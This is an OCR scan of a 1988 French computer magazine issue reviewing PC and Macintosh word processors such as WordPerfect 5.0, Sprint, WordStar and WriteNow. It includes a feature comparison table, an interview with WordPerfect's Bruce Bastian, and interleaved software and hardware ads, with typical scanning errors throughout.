d'affaires chaque année. C'est ainsi que 
de 23 millions de dollars en 1985, elle 
esr passée à 52 millions en 1986 et à 
1 10 millions en 1987. Si elle suit cette 
progression, il esr évident qu'elle est 
appelée à trôner assez vire aux côtés des 
rrois grands (Microsoft, Lotus, Ashton 
Tate). Si la France n'a pas encore été 
touchée par la grâce, l'Europe est en 
passe de succomber, et WordPerfect est 
numéro quatre des venres du vieux 
continent en 1987*. 

La version 4.2 de WordPerfect 
comprenait des capacités évoluées, al- 
lant de la gestion de 24 colonnes à 
l'écran à la génération aisée de l'index 

* Source : Intelligent Electronics. 



d'un document à partir d'un fichier de 
référence, en passant par la sauvegarde 
auromatique (introduite avant Sprint). 
Déjà, à ce niveau, il était difficile de 
rivaliser, et seul Word 4.0 semblait 
véritablement à la hauteur. Le logiciel 
de Microsoft conservait en revanche une 
avance confortable dans le domaine de 
l'impression. 

Mais WordPerfect 5.0 semble avoir 
reculé les limites de ce dont étaient 
capables les traitements de texte. La liste 
de ses prouesses laisse rêveur. Ainsi, les 
Images graphiques viennent-elles se 
loger dans le rexte. WordPerfect permet 
de les afficher à l'écran dans un mode de 
prévisualisation et en couleurs, de sur- 
croît! 

Rotation, agtandissemenr, modifica- 
tion des proportions sont au menu des 
divertissements. WordPerfect 5.0 se 
distingue de concurrents tels que Ma- 
nuscript ouvert lui aussi aux graphi- 
ques, en permettant de récupérer n'im- 
porte quelle image, grâce à un utilitaire 
de capture d'écran spécifique. Pour 
illustrer ce point, lors de la conférence 
d'annonce du produit, un écran, récu- 
péré d'un logiciel de jeu et enrobé de 
texte, a été soumis à l'appréciation de 
témoins ébahis. 

WordPerfect vient empiéter sur le 




WordStar 2000 ; une légende qui surévaluer. 
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terrain de notre Textor 4 national en 
proposant lui aussi l'impression intelli- 
gente, c'est-à-dire la justification auto- 
matique du texte quelles que soient les 
fontes utilisées. Celles-ci sont luxueuse- 
ment présentées à la façon Mac, avec 
ombres et contours et plus de 3 000 
caractères spéciaux dont les alphabets 
hébreux ou cyrillique. De quoi donner 
le vertige aux imprimantes à laser mais 
aussi aux matricielles... Il faut égale- 
ment parler des possibilités d'intégrer 
du texte < en asile >, c'est-à-dite dans 
une boîte bien isolée dans le document. 
A l'intérieur de cette boîte, le texte va 
pouvoir être orienté à volonté. Nous 
arrivons à un niveau de sophistication 
dont les sorties imprimées demeurent 
les meilleurs avocats. 

Si Word tourne sur PC et sur Mac, 
WordPerfect est présenté comme étant 
le seul à tourner à court terme sous des 
environnements aussi divers que le 
DOS des PC, les Vax, Unix, Macin- 
tosh, IBM 370 voire même l'Amiga et 
l'Atari. 

SPRJNT: SAUVEGARDE 

INCRÉMENTALE 

ET INTERFACE CAMÉLÉON 

Lorsqu'on lui parle de Sprint, Bruce 
Bastian, modèle de pondération, sort de 



sa réserve : <: Je ne me soucie pas une 
seule seconde de Sprint. > Pourtant, le 
logiciel de Botland a effectué une belle 
percée sur le territoire français, à la suite 
il est vrai d'une campagne médiatique 
assez réussie. Si les premières versions 
diffusées ont pu décevoir, le logiciel de 
Borland a su très vite se faire une place 
au soleil parmi les traitements de texte 
< qui comptent >. Une jolie perfor- 
mance, même si, à l'heure où nous 
écrivons ces lignes, le produit n'est 
toujours pas sorti aux Etats-Unis (où les 
versions DOS et OS/2 devraient appa- 
raître simultanément). 

Sprint a apporté de nouveaux 
concepts fort appréciables dans le do- 
maine du traitement de texte. Word- 
Perfect disposait d'une sauvegarde au- 
tomatique, qualité qui n'a pas été mise 
en valeur. Borland a poussé l'idée beau- 
coup plus loin en gérant une sauvegarde 
dite « incrémentale > qui s'effectue de 
façon transparente pendant que l'utili- 
sateur frappe son texte. En cas de 
coupure de courant, un utilitaire permet 
la récupération de l'intégralité du fi- 
chier, L'implémentation de cette sauve- 
garde incrémentale n'est pas parfaite, 
mais a cependant donné le la en la 
matière. La plupart des produits appa- 
rus récemment (Multimate, Windows 




le automatique. 



Evolution, etc.) offrent désormais la 
sauvegarde automatique, et celle de 
WotdPerfect 5.0 s'apparente à celle de 
Sprint. 

Fort de son dictionnaire de 60 000 
mots plus leurs dérivés, Sprint permet 
une correction en temps réel. Au fur et à 
mesute de la frappe, un signal sonore 
retentit lorsqu'un mot est inconnu 
les dictionnaires. Un véritable 
de programmation associé à PostScript 
donne accès à des capacités de PAO 
dont Borland est d'ailleurs la première à 
se servir pour réaliser ses manuels. 
L'aspect < interface caméléon > est, en 
revanche, moins convaincant, dans 
mesure où il est difficile d'émuler les 
capacités globales de logiciels de type 
Wotd ou WordPerfect. 

WORDSTAR : UNE LÉGENDE 
BIEN VIVANTE QUI 
S'OUVRE AU MICRO-ÉDITION 

Face à ceux qui lui ont ravi sa 
première place initiale, Micropro entend 
réapparaître comme la < compagnie du 
traitement de texte >. Pour l'heure, elle 
dispose de la gamme la plus étendue 
allant du très accessible Easy, au 
WordStar Professionnel 4.0 successeur 
du plus célèbre des traitements de texte, 
et au WordStar 2000 destiné aux plus 
exigeants. 

WordStar est une légende, et ses 
combinaisons de davier sont restées 
célèbres. Celui qui a connu les premières 
versions du vétéran le retrouve toujours 
avec une certaine nostalgie. A une 
époque où il régnait en maître, Word- 
star a initié des millions d'utilisateurs 
aux Ctrl K-B, Ctrl K-O, etc. 
touches ont dépassé leur cadre original 
et ont été utilisées dans des produits tels 
que Sidekick, les éditeurs de texte des 
programmes Turbo, et même avec des 
traitements de texte tels que le Write de 
Q & R (bien que la documentation ne 
l'indique pas, les touches WordStar 
fonctionnent dans cet environne- 
ment...). La version 4.0 n'a pas grand- 
chose à envier à ses concurrents : qua- 
torze opérations mathématiques, géné- 
ration d'index et de table des matières, 
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— * I Les logiciels de la vie simple. 
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GEM DESKTOP |pBUSI|EI 







GEM Desktop Publisher sublime les capacités des 
imprimantes matricielles et leur permet d'accéder, 
pour la première fois, à la micro-édition. CEM Desktop 
Publisher réalise sur n'importequelle matricielle, le plus 
simplement du monde, des mises en page très sophisti- 
quées intégrant graphiques, dessins et photographies. 
Il offre toutes les ressources de la mîcro-édition : habil- 
lage automatique des textes, feuilles de style, multi- 
colonnage, cadres accueillant les illustrations et le 
rédactionnel, justification du texte... 
Il travaille avec les principaux traitements de texte, 
intègre des illustrations provenant des autres logiciels 
CEM : CEM Graph, CEM WordChart, CEM Paint, CEM 
Draw Plus, GEM Scan et récupère également des gra- 
phiques, photos ou illustrations provenant de très nom- 
breux autres logiciels. 
Parfaitement convivial, GEM Desktop Publisher, se sin- 



g tllariseparsa simplicité d'utilisation. Il fonctionne aussi;, 
avec une souris et propose l'emploi d'icônes, de menus- 
déroulants, une aide constante à l'écran et des accès 
directs aux fenêtres. 

En outre, les multiples polices, leurs styles de carac- 
tère, tailles et couleurs sont faciles à appeler et à modï- 

fi er - 

Il n'est plus nécessaire d'être un professionnel pour édi- 
tersur une simple matricielle brochures, mailings, fiches 
techniques, bulletins d'information, journaux d'entre- 
prise... 

GEM Desktop Publisher fonctionne avec toute impri- 
mante matricielle noir et blanc ou couleur. Sublime ! 
Pour en savoir plus sur GEM Desktop Publisher 
(prix public conseillé: 3 540F HT) contactez Software 



Technologies ( 



: prenez 



rendez- 



vous avec votre distributeur 

habituel. 



ES* 



M DIGITAL 
RESEARCH" 



Bon à découper, à renvoyer à Software Technologies, 12, avenue des Andes 7 A de Cou rtab œuf, 91952 l 

|e dësii-f recevoir sans cn^igemcn! rie ma part, une documentation complète sur CEM Desk 




tracé de lignes et de cadres, gestion des 
polices à espacement proportionnel. 

WordStar 2000 version 2 va plus 
loin, en intégrant une application ges- 
tion de fichiers pour le publipostage, le 
multicolonnage sous forme < journal » 
(le texte serpente d'une colonne à l'au- 
tre). La société Mcropro est particulière- 
ment prodigue en matière de pilotes 
d'imprimantes et n'en fournit pas 
moins de 220 pour WordStar 2000 
avec mise à jour tous ies trimestres. 
Micropro s'aventure également dans le 
domaine de la micro-édition avec un 
logiciel dédié (PageSetter). Un nouveau 
produit combinant les capacités de 
WordStar4.0. PageSetter a été présenté 
au dernier Sicob sous le nom de 
WordStar Extra. 

VISIO: LE PLUS VENDU 

PAR LES DISTRIBUTEURS IBM 

Il existe un traitement de texte plutôt 
ignoré par la presse spécialisée qui n'en 
réalise pas moins le chiffre d'affaires le 
plus important du réseau de distribu- 
tion IBM. Il s'agit du Visio 4 PC du 
même IBM. Globalement, le CA réa- 
lisé autour de la famille Visio est pres- 
que 25 fois plus important que celui 
issu des ventes de dBase dans ce réseau. 
C'est dire l'intérêt qu'IBM porte à son 
produit qui, ne l'oublions pas, est venu 
succéder naturellement à une famille de 
machines dédiées - les visiotextes - 
dont il a repris l'ergonomie. Au- 
jourd'hui, Visio a intégré des concepts 
tels que la souris, l'affichage de caractè- 
res supplémentaires en mode graphi- 
que, le tracé de cadres et tableaux, et le 
calcul sur lignes et colonnes de chiffres. 
Au niveau européen, la famille Visio 
arrive en cinquième position des ventes 
logicielles de 1987, avec 70 600 copies. 
Elle suit de près Word et WordPerfect, 
respectivement numéro trois et numéro 
quatre*. 

MULTIMATE ; DES MAILINGS 
SUR LES FICHIERS DBASE 

Face à ces diverses offres se trouvent 
celles de deux grands éditeurs dont les 
domaines de prédilection demeurent 




respectivement le SGBD et le tableur. 
Ashton Tate et Lotus proposent chacun 
un traitement de texte. Aucun des deux 
n'a jusqu'ici effectué de percée impor- 
tante dans nos contrées. 

Multimate Advantage II est la der- 
nière version d'un produit issu d'une 
machine dédiée, à la façon de Visio : le 
traitement de texte de Wang. La so- 
briété de son interface a pu rebuter les 
enfants gâtés de la micro mais a séduit 
les secrétaires qui avaient fait leurs 
premières armes sur Wang. En consé- 
quence, Multimate a d'abord connu 
une très belle carrière, avant d'affronter 
ta concurrence de Word et de WordPer- 
fect. Après un recul important, ce traite- 
ment de texte, repris sous sa coupe par 
Ashton Tate, a subi un lifting. Dans sa 
toute nouvelle version, il comporte des 
menus déroulants à la Framework, per- 
met une sauvegarde automatique et une 
gestion du mode colonne en < journal > 
cher à WordPerfect. Multimate Advan- 
tage II est ouvert aux mailings à partir 
de fichiers dBase III Plus. 

MANUSCRIPT: 
BEAUX TABLEAUX 
ET LONGS RAPPORTS 

Enfin, Lotus Manuscript a été l'un 
des premiers à introduire, dès la fin 
1986, certains concepts < à la mode > 
en 1988. Mais son positionnement 



initial en tant que traitement de texte 
scientifique {il permet d'afficher et 
d'imprimer les formules mathémati- 
ques) a pu en effrayer certains. Dans la 
pratique - et c'est sous cette optique 
que Lotus le promotionne actuelle- 
ment -, c'est un traitement de texte 
orienté vers la production de documents 
professionnels : manuels, rapports, etc. 
Il inclut simplement des graphiques ou 
crée des tableaux multicolonnes claire- 
ment délimités et peut gérer des docu- 
ments de 800 pages. Cette dernière 
capacité en fait un outil particulière- 
ment intéressant pour l'écriture de livres 
ou de manuels. 

A l'intérieur d'un tableau, la fonction 
de permutation de colonnes est particu- 
lièrement appréciée. Manuscript gère un 
mode de découpage du texte en chapi- 
tres et sous chapitres (à la ThinkTank) 
qui facilite le déplacement dans le docu- 
ment. 

N'oublions pas d'autres produits tels 
qu'Epistole PC, avec ses macros ouver- 
tes à la récupération de feuilles de calcul 
Lotus de façon automatique, le français 
Plume PC d'Andiade ou encore 
Volkswriter 3 qui bénéfide de la consi- 
dération de Bruce Bastian lui-même. La 
plupart des produits sont d'un niveau 
suffisamment élevé pour que le choix 
puisse se porter sur celui qui répond le 
mieux à chaque besoin. 
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1 TRAITEMENTS DE TEXTE POUR PC 


II 




Word 4.0 


Word- 
Perfect 
4.2 


Textor 4 


Visio 4 


Sprint 


Manu- 
script 


Multimate 
Advon- 
tage 


Word- 
Perfect 
5.0 


Editeur 


Microsoft 


Word- 
Perfect 


Talor 


IBM 


Borland 


Lotus 


Ashlon Tate 


Word- 
Perfect 


Système 

d'exploitation 

interactif 


DOS 


DOS/Unix 


DOS 


DOS 


DOS 


DOS 


DOS 


DOS 


Prix 


4 490 F 


4 600 F 


3 950 F 


5 197F 


1 995 F 


4 100F 


5 250 F 


5 600 F 


Comporte un 
didactiel 


Oui 


Oui 

[limité] 














Wysiwyg 


En texte 




Pseudo 




^révisuolisa- 
tion en texte 


Prévisualisa- 
tion 
graphique 


Prévisuolisa- 
tion en texte 


Prévisualisa- 
mode texte 


Liste des documents 
avec commentaires 


Oui 


Oui 


Oui 


Oui 




Oui 


Oui 


Oui 


Sauvegarde 
automatique 




Oui 






Oui 




Oui 


Oui 


Calculs en tableaux 


, Oui 


Oui 


Oui 


Oui 






Oui 


Oui 


Génération d'une 
table des matières 


Oui 


Oui 






Oui 


Oui 


Oui 


Oui 


Correcteur 
orthographique 


Oui 


Oui 


En cours 


Oui 


Oui 


Oui 


Oui 


Oui 


Dictionnaire de 
synonymes 




Oui 












Oui 


Mailing avec 
expressions 
conditionnelles 


Oui 


Oui 


Oui 


Oui 


Oui 


Sans ex- 
pression 
condition- 
nelle 


Oui 


Oui 


Mode "ThinkTank" 
(organisation 
des idées) 


Oui 










Oui 


Programma- 
ble 




Protection des 
documents par mats 
de passe 




Oui 












Oui 


Notes de bas de page 


Oui 


Oui 


Oui 


Oui 


Oui 


Oui 


Oui 


Oui 


Génération d'un 
index 


Oui 


Oui 






Oui 


Oui 




Oui 


Gestion de la souris 


Oui 




Oui 


Oui 






Oui 




Fonctionnement 
réseau 


Oui 


Oui 


En cours 








Oui 


Oui 


Tri en mode colonnes 




Oui 










Oui 


Oui 


Accès DOS 


Oui 


Oui 


Oui 








Oui 


Oui 


Dessin de cadres 
semi-graphiques 


Oui 


Oui 


Graphique 


Oui 




Oui 


Oui 


Oui 


Caractères 
mathématiques 






Si police 






Oui 


Oui 


Oui 


Comparaison de 
documents 


Oui 










Oui 




Oui 


Service-lecteurs 
réf. n° 


38 


39 


40 


41 


42 


43 


44 


45 
- 
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L'EDITEUR PROFESSIONNEL 

WordStar EXTRA est un nouveau traitement de texte puissant qui intègre les graphismes de toute 
provenance. Sa fonction Zoom rend la mise en page aisée. C'est un produit MicroPro. 
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SND MicroPro Fi 

10 rue de Navarin 75009 Pa 
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BRUCE BASTIAN, PRÉSIDENT DE WORDPERFECT CORP. 

«LENTEMENT MAIS 
SÛREMENT» 

Les bonnes recettes du numéro un du traitement de texte aux 

Etats-Unis : un travail de longue haleine à l'écoute de 

l'utilisateur et un produit en perpétuelle évolution. Les 

Mormons de WordPerfect investissent dans le 

développement et la hoc Une plutôt que dans le marketing . 




L'Ordinateur individuel : 

WordPerfect a k réputation dette une 
société pas comme les autres... 

Bruce Bastian : La différence c'est 
qu' Allan Ashton et moi-même sommes 
des programmeurs qui privilégions l'as- 
pect technologique. Les produits doi- 
vent être très bons, très fiables. En outre, 
plutôt que de dépenser des millions de 
dollars chaque année en marketing, 
l'accent est mis sur le support technique 
- nous consacrons des sommes gigan- 
tesques à l'assistance téléphonique : 
deux cents personnes assurent la hot 
Une. D'une certaine façon, c'est du bon 
marketing à long terme. Ecouter les 
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Bruce Bastian 
à la limite du 
paternalisme : t Les 
mormons doivent 
travailler dur, avoir 
une morale, être 
honnêtes et croire en 
l'amitié. Ces idées 
se sont retrouvées 
dans notre 
compagnies. 



utilisateurs, écrire nos produits pour 
eux... Nous voulons qu'ils nous consi- 
dèrent comme des amis. C'est vrai que 
nous sommes différents. 

L'Oi : En va-c-il différemment chez 
vos concurrents? 

BB : Notre philosophie veut qu'un 
programme n'atteigne jamais un point 
d'arrêt. L'équipe qui a écrit WordPer- 
fect au départ est d'ailleurs toujours là. 
A l'opposé, les grandes sociétés de 
logiciels sont devenues des géants du 
marketing et, dans de nombreux cas, 
elles n'écrivent même plus leurs pro- 
duits, elles les achètent. 

L'Oi : WordPerfect a été suivi par 



PlanPerfect et DataPetfect. Ces pro- 
duits semblent percer lentement... 

BB : Ils gtimpent tout doucement. 
C'est vrai que si nous investissions 
d'énormes sommes dans le marketing, 
ils progresseraient plus vite. Mais nous 
appliquons la devise « lentement mais 
sûrement >. 

L'Oi : De nombreuses personnes se 
sont demandé pourquoi l'aide n'était 
pas accessible avec la touche FI dans 
WordPerfect? 

BB : Lorsque nous avons démarré, 
nous avons associé l'aide à la touche F3. 
C'était au tout début de l'apparition des 
PC. Par la suite, nous nous sommes 
posé la question : laissons-nous les 
choses en l'état, ou associons-nous l'aide 
à FI comme sur les autres produits ? 
Dans la version 5 .0 nous avons résolu le 
problème en permettant aux utilisateurs 
de reconfigurer le clavier comme bon 
leur semble. 

L'Oi : Combien de temps a duré k 
développement de WordPerfect 5.0 ? 

BB : Certaines parties ont démarré il 
y a deux ans, mais le gros du développe- 
ment remonte à un an et demi. Notre 
objectif a été de fournit aux utilisateurs 
certaines capacités de PAO, mais aisé- 
ment accessibles. Celles du traitement 
de texte sont toujours là, toujours aussi 
rapides et faciles. Même si un utilisateur 
de la version 5.0 n'utilise jamais les 
graphiques, il y trouvera donc large- 
ment son compte. Si, dans six mois, il 
décide de s'intéresser à la partie graphi- 
que, il aura tout à sa disposition. Nous 
ne disons pas qu'il s'agit d'un logiciel de 
PAO, bien que nous en offrions de 
nombreuses caractéristiques. Vous pou- 
vez inclure des graphiques, changer les 
fontes, faire de la prévisualisation, pla- 
cer un graphique au milieu de trois 
colonnes de texte... 

L'Oi : Pourquoi ne pas avoir effectué 
un tel développement grapliique sous 
Windows ? 

BB : Windows présente trop de 
restrictions. C'est beaucoup trop lent. 
Nous n'aurions pas pu faire ce que nous 
faisons avec WordPerfect si nous 
l'avions réalisé sous Windows. Nous en 



avons parlé à Bill Gates. Il comprend 
très bien notre point de vue. En fait, 
personne ne nous a jamais dit « nous 
n'achèterons pas WordPerfect parce 
qu'il ne tourne pas sous Windows. > 

L'Oi: WordPerfect 5.0 est-ii rapide 
au niveau de l'affichage graphique ? 

BB : La version 5.0 a été écrite en 
assembleur et, bien qu'elle contienne 
plus de capacités que la 4.2, elle n'est 
pas moins rapide. Cela a surpris beau- 
coup de gens aux Etats-Unis. La saisie 
s'effectue en mode texte, de façon à aller 
plus vite. Lorsque vous passez en pré- 
visualisation, le programme travaille en 
mode graphique. Mais il y a beaucoup 
d'avantages au-delà du graphique. Il a 
toujours été facile dans WordPerfect de 
mettre un mot en gras ou de le souli- 
gner. Maintenant, il est tout aussi facile 
de changet les fontes, de faire de l'im- 
pression en ombre... Si vous avez un 
document en format A4 et que vous 
décidez soudain de l'imptimet à l'ita- 



lienne (dans le sens de la longueur) tout 
est adapté automatiquement. Je peux 
créer un document pour une impri- 
mante à laser Canon, et si vous avez une 
HP LaserJet, toutes les fontes seront 
converties... 

VOi: Il ya un truc... 

BB : C'est un secret (rire)... C'est la 
partie sur laquelle nous avons travaillé 
depuis deux ans. 

L'Oi : Veillez-vous à transmettre la 
philosophie de WotdPerfect dans vos 
filiales? 

BB : Oui. Nous leur disons : « Soyez 
patients. Donnez un bon service. Mon- 
trez aux distributeurs et aux clients ce 
que vous avez. Le succès viendra de lui- 
même. > Nous avons appris cela à la 
dure, car nous avons nous-mêmes dé- 
marré sans aucun fonds. Nous n'avions 
donc pas d'aune choix que d'agir ainsi. 
Au début, je faisais tout : le support 
technique, l'envoi des logiciels, l'écriture 
du programme et du manuel.. . Allan et 



moi avons occupé tous les postes. 

L'Oi : WotdPerfea, basée dans 
l'Utah, a la réputation de réunir de 
nombreux Mormons. 

BB : Il est vrai que beaucoup de gens 
nous demandent pourquoi nous 
sommes installés en Utah. En fait, la 
compagnie a démarré là où nous vi- 
vions. Allan était professeur à l'univer- 
sité où j'étais venu faire mes études, et il 
désirait rester là. C'est un très bon 
endroit pour élever une famille. Nous 
avons donc pensé qu'il s'agissait d'un 
lieu adéquat pour nous établir. 

L'Oi : L'éthique des Mormons dé- 
teint-elle sur WotdPerfect? 

BB : Dès leur enfance, les Mormons 
reçoivent l'enseignement qu'il faut tra- 
vailler dur, avoir une morale et être 
honnête. Ces idées se sont donc retrou- 
vées dans notre compagnie. 

PROPOS RECUEILLIS 
PAR DANIEL ICHBIAH 




Vous venez d'acquérir votre de.i>;ie-ns crdhr:tei.r 
ïvhis ■■■:-. déposez que d'une seu e imprimante, grâce 
au commutateur électronique NEOL vous pourrez 
demander l'impression à partir de l'un ou de 
l'autre poste, la commutation se faisant auto- 
matiquement sans aucune intervention 
manuelle. Une mise en cascade des commu- 
tateurs vous permettra de partager votre 
imprimante entre plus de deux ordinateurs. 
Mais vous pourrez également connecter deux 
imprimantes sur un ordinateur vous évitant 
ainsi les changements de papier (listing, cour- 



imutateur vous permettra de passer 
rapidement d'une imprimante à l'autre ou d'imprimer 
simultanément sur les de ux. 

Et n'oubliez pas : pour libérer votre écran pen- 
dant l'impression, intercaliez un PC-Buffer 



NEOL! 
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LE MAC AU PIED 
DE LA LETTRE 

Si les premières versions de MacWrite sont encore les plus 

couramment utilisées sur Mac, elles sont de loin dépassées. Les 

nouveaux traitements de texte rivalisent en raffinements 

proches de la PAO. 

ESBSJ1 



Macintosh est l'ordinateur préféré 
des écrivains et des journalistes. 
Sans doute à cause de son écran blanc 
comme une feuille. Avec lui, ors se sent 
rapidement en terrain conquis. Pour- 
tant, aujourd'hui, l'état de grâce est 
terminé. La souris est souvent mise en 
cause par ceux qui écrivent de façon 
intensive. L'écran du SE reçoit des 
volées de bois vert : on le trouve trop 
petit, il fait mal aux yeux. Quant au 
programme MacWrite, on l'accuse 
detre peu performant et de souffrir de 
lacunes impardonnables, comme le 
simple fait de ne pouvoir ouvrir plu- 
sieurs documenrs à la fois. En réalité, il 
existe une offre importante de logiciels 
très performants, et même MacWrite, 
l'ancêtre, a été toiletté avant d'être repris 
par L'éditeur Claris. 

MACWRITE 4.6 

Dernière version du traitement de 
texte édité par Apple. Pas de nouvelles 
fonctions, hormis la gestion des flèches 
du davier. (Ceux que la souris insup- 
porte seront comblés.) MacWrite ne 
présente aucune fioriture : c'est le logi- 
ciel d'écriture à l'état brut. Pas de 
possibilité de mise en pages ou de 
colonnage. Pas de correcteur orthogra- 
phique. H est pratique pour ceux qui 
veulent débiter du texte au kilomètre en 
utilisant le Mac comme une simple 
machine à écrire. 

MACWRITE 5.0 

En passant chez Claris, MacWrite a 



subi de nombreuses modifications. Il est 
(un peu) plus performant et s'est enrichi 
d'une fonction dictionnaire. Des rac- 
courcis-clavier permettent le déplace- 
ment du curseur, l'insertion de règles ou 
la sélection du texte. Il gère les moni- 
teurs grand écran. Comme à l'origine, il 
esr impossible d'ouvrir plusieurs fenê- 
tres à la fois. Il est distribué en France 
par P.Ingenierie au prix de L 190 F ht. 
Pour 500 Fht, les possesseurs d'une 



version antérieure peuvent obtenir une 
mise à jour de leur programme et 
disposer ainsi d'une version protégée. 
L'avenir dira si les utilisateurs accepte- 
ront de payer pour un programme qui a 
très longtemps été fourni en standard 
avec le Macintosh. 

WRITENOW 

WriteNow propose toutes les fonc- 
tions que MacWrite devrait posséder en 
standard. Il est multifenêtre, multico- 
lonne (jusqu'à quatre), et l'on peut 
insérer du dessin au beau mileu d'une 
ligne de texte ! Il gère automatiquement 
les notes de bas de pages, ce qui s'avère 
fort utile pour les textes techniques ou 
les traductions. Il n'existe pas d'index 
ou de table des matières sur WriteNow. 
On peut forcer la coupure des mors par 
un trait d'union qui dispataît automati- 
quement si le texte se reformate. L'utili- 
taire Translator, fourni avec le pro- 
gramme, sert à récupérer des fichiers 
venant de MacWrite, de Word ou du 
format texte simple. WriteNow repré- 
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i deFullWrite 
pour l'Ordinateur 
Individuel. Voys no- 
terez l'habillage du 
graphique, 
fenêtres rnultTpl 
et la césure au- 
tomatique. 
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sente une évolution naturelle pour les 
utilisateurs de MacWrite rebutés par la 
complexité, mais intéressés par la puis- 
sance. Il sera bientôt francisé. Distribué 
en France par Alpha Systèmes, c'est un 
produit rapide et bien adapté au Mac. 

WORD 3.1 

Le logiciel de Microsoft a connu 
différentes versions avant d'atteindre 
l'âge adulte. C'est aujourd'hui, en vi- 
tesse, le plus performant des traitements 
de texte sut Mac. Il offre toutes les 
fonctions d'un outil professionnel : mai- 
ling, calcul, feuille de style, importation 
de documents en provenance d'Excel, 
de Chart ou de Multiplan. La césure est 
automatique. Word peut travailler avec 
plusieurs documents à la fois. La mise 
en pages mulricolonne est réalisable. 
Toutefois, les colonnes ne s'affichent à 
l'écran que lors de l'impression (ou de 
l'aperçu avant l'impression), autrement 
dit à un moment où il est impossible de 
modifier le texte. 

Pour ne pas rebuter les néophytes, il 
offre, au choix, une présentation avec 
des menus complets ou simplifiés. Il 
gère les notes de bas de page, compte les 
signes d'un texte et peut imprimer la 
date et l'heure à l'intérieur d'un texte. 
Complet et fiable, il est d'un abord plus 
rébarbatif que WriteNow, mais son 
utilisation semble particulièrement indi- 
quée en entreprise, dès lors qu'il s'agit 
de mélanger texte et calcul. 

WRTTERPLUS 

C'est sans doute le plus sophistiqué 
des traitements de texte sur Mac, mais 
pas le plus rapide ni le plus fiable. ACI 
le reconnaît volontiers. Le problème des 
relations entre l'auteur, Roger Rainero, 
t son éditeur Marylène Delbourg-Dei- 



phis n'est toujours pas résolu. Notre 
confrèe Science et Vie Miao a longue- 
ment détaillé la polémique qui les 
oppose. Aujourd'hui, ACI continue de 
vendre une version 1 .05 de Writer Plus 
qui fonctionne correctement si l'on s'en 
sert... prudemment. Roger Rainero na- 
vaille sur la version 1.1 à propos de 
jaquette ACI déclare avoir recensé une 
quarantaine de grosses bogues. Mary- 
lène Delbourg-Delphis se dit prête à 
commercialiser cette nouvelle version 
dès que l'auteur lui aura remis une copie 
sans erreur. Elle n'avance aucune date. 

Roger Rainero nous en a fourni un 
exemplaire, et nous avons constaté 
qu'elle < plantait > encore. C'est dom- 
mage, car Writer Plus est réellement le 
plus élégant programme du genre. E est 
le seul à forcer le nombre de signes par 
ligne et à proposa une fonction statisti- 
que pour le nombre de caractères ou de 
mots. On peut travailler par colonne, 
encadrer des paragraphes, générer un 
index sophistiqué et une table des ma- 
tières. Le cahier des charges de ce 
programme a été soigneusement étudié, 
et il regorge de petites astuces pour la 
gestion des paragraphes. La bascule 
automatique des majuscules ou des 
minuscules s'avère pratique, tout 
comme les fonctions de recherche très 
sélectives. 

Writer Plus contient une foule 
d'idées. Trop, peut-être puisque le pro- 
duit final ne voit pas le jour. Raffine- 
ment suprême, la version 1.1 permet de 
créer ses propres menus. C'est ainsi que 
l'on peut configurer entièrement Writer 
Plus pour lui donner le i look > de 
MacWrire, de Word ou de WriteNow, *■ 




■qued 



avec les fonctions adéquates (souvent 
plus lentes que la version originale). 
Aujourd'hui, une malédiction semble 
peser sur ce logiciel. L'auteur et l'éditeur 
affirment chacun leur bonne volonté 
d'aboutir, mais le dialogue paraît im- 
possible entre eux. Par delà ces problè- 
mes caractériels, il serait fotmidable 
pour les quelque 4 000 utilisateurs qui 
ont acheté Writet Plus en France de 
disposer d'une copie vraiment fiable. 
Laurent Ribardière er David Hemo, les 
programmeurs vedettes d'ACI, ont 
proposé de l'aide à Roger Rainera. Si 
celui-ci ne peut vtaiment pas venir à 
bout seul de son logiciel rapidement, 
peur-être devrait-il accepter une cohabi- 
tation honotable. Au moins dans l'inté- 
rêt des utilisateurs. 



Write NQwa&che jusqu'à quaù 




Mac Write 4.6 

Editeur et éstributeur : Apple 

Prix: 990 F ht 

Sen'ice- lecteurs, référence rf 46 

MacWrite5.0 
Editeur: Qans 
Distributeur : P.lngenierie 
Prk:\ 190 Fht 
Semce-Iecteurs. référence tf 47 
WriteNow 
Editeur :TMaker 
Distributeur : Alpha Systèmes 
Prix: 1980 Fht 
Sewice-lecreurs, référence n" 48 

Word 3 

Editeur .■ Microsoft 
Distributeur : Microsoft 
#ir:2990Fht 
Service- lecteurs, référence n" 49 

WriterPlus 
Editeur :AQ 
Distributeur :ACI 
Pm:2 500Fht 

Service- lecteurs, référence n" 50 
WordPerfect Mac 1.0 
Editeur : WordPerfect 
Distributeur : WordPerfect France 
#»:4 800Fht 
Disponible en version anglaise, 
disponible en français en septembre. 
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Ouvrir le fichier. 

Convertir l'ensemble de .'.■■:.'%■- du corncère Geneva à l'Helvelico. 

Passer l'ensemble du .'e.v.'e de :e- à aajch?? à ia ;:>il:f;cation totale. 

Déplacer ji- toque: de fabulation. 

Rechercher le même mot. 

Remplacer tous les tt l~;ci omied var des LA. 

Remplacer tous fes ;'/'. ioonie de ^ctipordesLE, 

s 0"t élé réalises do^ le nêw o'dœ ei -:;:-éc v <»èw ':ch.er ce 78 762 caractères et de 

Imots. 



WORDPERFECT 

Comme son nom ne l'indique pas, 
WordPerfect est loin de pouvoir préten- 
dre à la perfection. Le passage du célèbre 
logiciel sous environnement Macintosh 
n'est pas sans poser des ptoblèmes : 
gestion des ascenseurs de fenêtres beau- 
coup trop lente, tout comme les options 
de recherche. Sauter de la première à la 
dernière page d'un texte demande un 
temps fou. 

A la décharge de ce programme, 
nous nous devons de dite que la version 
testée n'est pas la version définitive. 
(Voir notre essai dans L'Oi a° 103, 
P- 73.) Affaire à suivre... 

FULLWRITE 
BIENTÔT EN FRANCE... 

FullWrite Professional (de Arm 
Arbor, une société récemment rachetée 
par Ashton Tate) sera bientôt disponi- 
ble en France et distribué par La 
Commande ïïectronique. Il intègre des 
fonctions très proches de la PAO classi- 
que : habillage automatique d'une 
image et gestion de documents Mac- 
Draw, mais il ne néglige pas pour 
autant sa mission ptemière de traite- 
ment de texte, avec le multicolonnage, 
la gestion de notes en bas de pages, le 
compteur de signes, de mots et de 
lignes. Nous aurons tapidement l'occa- 
sion d'y revenir plus longuement. 

On pourrait encore citer de nom- 
breux traitements de texte pour Mac, 
d'ores et déjà disponibles aux Etats- 
Unis : MindWrite, Qued (plus spéciale- 
ment conçu pour les développeurs). Il 
est possible de se les procurer en France 
par le biais d 'importateurs directs, mais 
aucun d'entre eux n'existe en vetsion 
francisée. 

Comme on le voit, si le Macintosh a 
ses détracteurs, il possède de solides 
atguments logiciels pour leur répondre. 
